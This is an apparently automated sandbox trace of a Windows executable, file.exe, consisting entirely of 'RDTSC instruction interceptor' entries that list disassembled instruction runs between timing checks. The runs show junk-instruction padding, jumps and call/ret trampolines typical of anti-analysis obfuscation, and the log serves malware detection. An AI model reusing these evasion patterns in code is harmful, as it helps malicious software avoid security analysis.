Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBFEB5 second address: CBFEB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBFEB9 second address: CBFEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBD965 second address: CBD96F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBD96F second address: CBD988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CBD988 second address: CBD98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C5E3FB second address: C5E415 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1690B6C802h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9D07 second address: CC9D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9D0B second address: CC9D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9D11 second address: CC9D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9D1A second address: CC9D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690B6C7F6h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC9E6D second address: CC9E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1690C1AF9Fh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCA06F second address: CCA07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1690B6C7F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCA22A second address: CCA22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCA22E second address: CCA253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C807h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F1690B6C7FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCE287 second address: CCE28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCE324 second address: CCE329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD30F1 second address: CD30FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1690C1AFA2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD30FD second address: CD3107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD3785 second address: CD378B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD378B second address: CD379A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1690B6C7F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD379A second address: CD379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD379E second address: CD37A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD37A2 second address: CD37C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD3A51 second address: CD3A58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4028 second address: CD402D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD41FE second address: CD420D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F1690B6C7F6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD420D second address: CD4220 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4220 second address: CD4226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4226 second address: CD4241 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F1690C1AF96h 0x00000010 jmp 00007F1690C1AF9Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4241 second address: CD426C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1690B6C803h 0x00000010 jmp 00007F1690B6C7FDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD426C second address: CD4272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD4272 second address: CD427C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD87CB second address: CD87D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F1690C1AF96h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD87D7 second address: CD87E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDD1A1 second address: CDD1B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c js 00007F1690C1AF96h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDD691 second address: CDD695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDD695 second address: CDD699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDD699 second address: CDD69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDD7E6 second address: CDD7EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDD7EC second address: CDD7F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDDA9E second address: CDDAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F1690C1AFBDh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDF461 second address: CDF465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CDF465 second address: CDF492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jo 00007F1690C1AFBFh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F1690C1AF96h 0x00000018 jmp 00007F1690C1AF9Bh 0x0000001d popad 0x0000001e pushad 0x0000001f jg 00007F1690C1AF96h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE3F73 second address: CE3F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690B6C806h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE3F90 second address: CE3FE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F1690C1AF9Eh 0x0000000f jmp 00007F1690C1AF9Bh 0x00000014 popad 0x00000015 push esi 0x00000016 jmp 00007F1690C1AFA0h 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007F1690C1AFA3h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE3FE5 second address: CE3FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE8651 second address: CE8655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE747E second address: CE74A6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push edi 0x0000000c jmp 00007F1690B6C809h 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE74A6 second address: CE74AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA5F4 second address: CAA60F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C807h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA60F second address: CAA63B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F1690C1AF9Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA63B second address: CAA63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA63F second address: AEED3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b pushad 0x0000000c jp 00007F1690C1AF9Ch 0x00000012 xor edi, 46DA595Bh 0x00000018 popad 0x00000019 push dword ptr [ebp+122D065Dh] 0x0000001f mov ecx, dword ptr [ebp+122D3014h] 0x00000025 mov ecx, 78DC7141h 0x0000002a call dword ptr [ebp+122D3C64h] 0x00000030 pushad 0x00000031 pushad 0x00000032 movzx ecx, bx 0x00000035 mov eax, dword ptr [ebp+122D3120h] 0x0000003b popad 0x0000003c xor eax, eax 0x0000003e or dword ptr [ebp+122D1D70h], edi 0x00000044 jmp 00007F1690C1AFA4h 0x00000049 mov edx, dword ptr [esp+28h] 0x0000004d jmp 00007F1690C1AFA3h 0x00000052 mov dword ptr [ebp+122D2E5Ch], eax 0x00000058 pushad 0x00000059 jng 00007F1690C1AFA4h 0x0000005f call 00007F1690C1AF9Dh 0x00000064 pop ecx 0x00000065 xor edx, 78EE1964h 0x0000006b popad 0x0000006c mov esi, 0000003Ch 0x00000071 mov dword ptr [ebp+122D22D9h], edx 0x00000077 xor dword ptr [ebp+122D1D70h], esi 0x0000007d add esi, dword ptr [esp+24h] 0x00000081 mov dword ptr [ebp+122D22D9h], eax 0x00000087 lodsw 0x00000089 or dword ptr [ebp+122D22D9h], esi 0x0000008f add eax, dword ptr [esp+24h] 0x00000093 cmc 0x00000094 mov ebx, dword ptr [esp+24h] 0x00000098 cld 0x00000099 nop 0x0000009a push eax 0x0000009b pushad 0x0000009c push eax 0x0000009d push edx 0x0000009e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA7F3 second address: CAA7F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA7F9 second address: CAA861 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ebx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnl 00007F1690C1AF9Eh 0x0000001c mov eax, dword ptr [eax] 0x0000001e jl 00007F1690C1AF9Ch 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e jns 00007F1690C1AFA5h 0x00000034 pop eax 0x00000035 mov cl, 88h 0x00000037 push D873DDFAh 0x0000003c pushad 0x0000003d push esi 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA9B7 second address: CAA9E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a ja 00007F1690B6C7FAh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1690B6C808h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAAAF8 second address: CAAB1C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F1690C1AF9Fh 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAAB1C second address: CAAB20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAAB20 second address: CAAB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAABEA second address: CAABEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAABEE second address: CAABF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAAD6A second address: CAAD70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAAD70 second address: CAAD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAAD74 second address: CAADD2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F1690B6C7F8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov edx, ebx 0x00000025 push 00000004h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007F1690B6C7F8h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 adc dl, 00000071h 0x00000044 add dx, 9FF4h 0x00000049 nop 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e pop esi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAADD2 second address: CAADDB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB142 second address: CAB146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB146 second address: CAB14F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB14F second address: CAB18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 or edi, 6ACBAB00h 0x0000000f push 0000001Eh 0x00000011 jmp 00007F1690B6C805h 0x00000016 nop 0x00000017 pushad 0x00000018 push eax 0x00000019 jmp 00007F1690B6C803h 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB18F second address: CAB1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA2h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F1690C1AF9Bh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB2EA second address: CAB305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C807h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB4F5 second address: CAB570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 jmp 00007F1690C1AFA6h 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F1690C1AF98h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a call 00007F1690C1AFA0h 0x0000002f mov ecx, 29CC6189h 0x00000034 pop edi 0x00000035 lea eax, dword ptr [ebp+1248EF27h] 0x0000003b mov edi, edx 0x0000003d nop 0x0000003e push ecx 0x0000003f jmp 00007F1690C1AFA3h 0x00000044 pop ecx 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB570 second address: CAB575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB575 second address: CAB57B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB57B second address: CAB57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAB57F second address: C8D4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F1690C1AF98h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov dx, bx 0x00000026 sub dword ptr [ebp+122D2CD6h], edx 0x0000002c lea eax, dword ptr [ebp+1248EEE3h] 0x00000032 call 00007F1690C1AF9Ch 0x00000037 push esi 0x00000038 jmp 00007F1690C1AF9Bh 0x0000003d pop edi 0x0000003e pop edi 0x0000003f push eax 0x00000040 pushad 0x00000041 jmp 00007F1690C1AFA3h 0x00000046 pushad 0x00000047 jo 00007F1690C1AF96h 0x0000004d jl 00007F1690C1AF96h 0x00000053 popad 0x00000054 popad 0x00000055 mov dword ptr [esp], eax 0x00000058 call dword ptr [ebp+122D2C87h] 0x0000005e push ebx 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C8D4B0 second address: C8D4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7721 second address: CE7727 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7727 second address: CE7744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C809h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7744 second address: CE7754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7754 second address: CE775C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE78E1 second address: CE78EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7BD4 second address: CE7BE1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1690B6C7F8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7E9E second address: CE7EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F1690C1AFA4h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7EBB second address: CE7EC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
